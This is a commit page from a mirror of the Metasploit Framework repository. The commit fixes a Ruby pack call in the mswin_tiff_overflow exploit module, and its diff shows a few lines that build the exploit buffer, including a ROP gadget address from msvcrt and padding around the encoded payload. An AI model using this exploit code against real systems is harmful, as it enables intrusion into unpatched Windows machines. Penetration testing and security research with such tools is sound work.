1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Fix bad pack in mswin_tiff_overflow

Reported by @egyjuzer in #3706.
This commit is contained in:
William Vu 2014-08-26 11:12:20 -05:00
parent ff7e0f3c19
commit 9f6a40dfd6
No known key found for this signature in database
GPG Key ID: E761DCB4C1629024

View File

@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
p << payload.encoded
block = p
block << rand_text_alpha(1024 - 80 - p.length)
block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt
block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt
block << rand_text_alpha(1024 - block.length)
buf = ''